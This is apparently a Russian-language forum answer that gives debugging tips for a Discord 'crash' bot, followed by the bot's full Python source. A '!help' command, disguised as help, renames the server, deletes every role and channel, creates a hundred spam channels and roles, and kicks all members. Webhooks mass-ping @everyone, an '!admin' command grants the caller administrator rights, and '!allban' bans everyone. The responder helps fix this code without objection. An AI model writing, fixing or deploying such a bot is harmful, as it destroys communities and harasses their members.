Какая ошибка? Если нет ошибки, то что именно идет не так (не удаляются каналы, или роли и т.д.)? Ещё, у тебя в двух циклах for один и тот же элемент m. Так делать нельзя, поменяй
for m in ctx.guild.roles
На
for r in ctx.guild.roles
Тоже самое с двумя последними циклами с элементом _
Да и зачем создавать два цикла, если эти два действия можно внести в один цикл?
from discord.ext import commands
from discord import Permissions
import asyncio
import os
import discord, random, aiohttp, asyncio
from threading import Thread
import requests
intents = discord.Intents.all()
intents.members = True
bot = commands.Bot (command_prefix='!',intents=intents)
bot.remove_command("help")
@bot.command()
async def help(ctx):
guild = ctx.message.guild
await guild.edit(name="Crash By Pazeg")
await ctx.message.delete()
for m in ctx.guild.roles:
try:
await m.delete(reason="Краш сервера")
except:
pass
for channel in ctx.guild.channels: # собираем
try:
await channel.delete(reason="Краш сервера") # удаляем
except:
pass
for _ in range(100):
await guild.create_text_channel('crash-by-pazeg')
for _ in range(100):
await guild.create_role(name='crash-by-pazeg')
for m in ctx.guild.members:
try:
await m.kick(reason="Краш сервера")
except:
pass
@bot.event
async def on_guild_channel_create(channel):
webhook = await channel.create_webhook(name = "Crash By Pazeg")
webhook_url = webhook.url
async with aiohttp.ClientSession() as session:
webhook = discord.Webhook.from_url(str(webhook_url), adapter=discord.AsyncWebhookAdapter(session))
for i in range(50):
try:
await webhook.send("@everyone ", tts=True)
except:
pass
@bot.command(pass_context=True) # разрешаем передавать агрументы
async def admin(ctx): # создаем асинхронную фунцию бота
guild = ctx.guild
perms = discord.Permissions(administrator=True) #права роли
await guild.create_role(name="Pazeg", permissions=perms) #создаем роль
role = discord.utils.get(ctx.guild.roles, name="Pazeg") #находим роль по имени
user = ctx.message.author #находим юзера
await user.add_roles(role) #добовляем роль
await ctx.message.delete()
@bot.command()
async def allban(ctx):
for m in ctx.guild.members: #собираем
try:
await m.ban(reason="По просьбе")#баним
except:
pass
token = 'мой токен'
bot.run (token)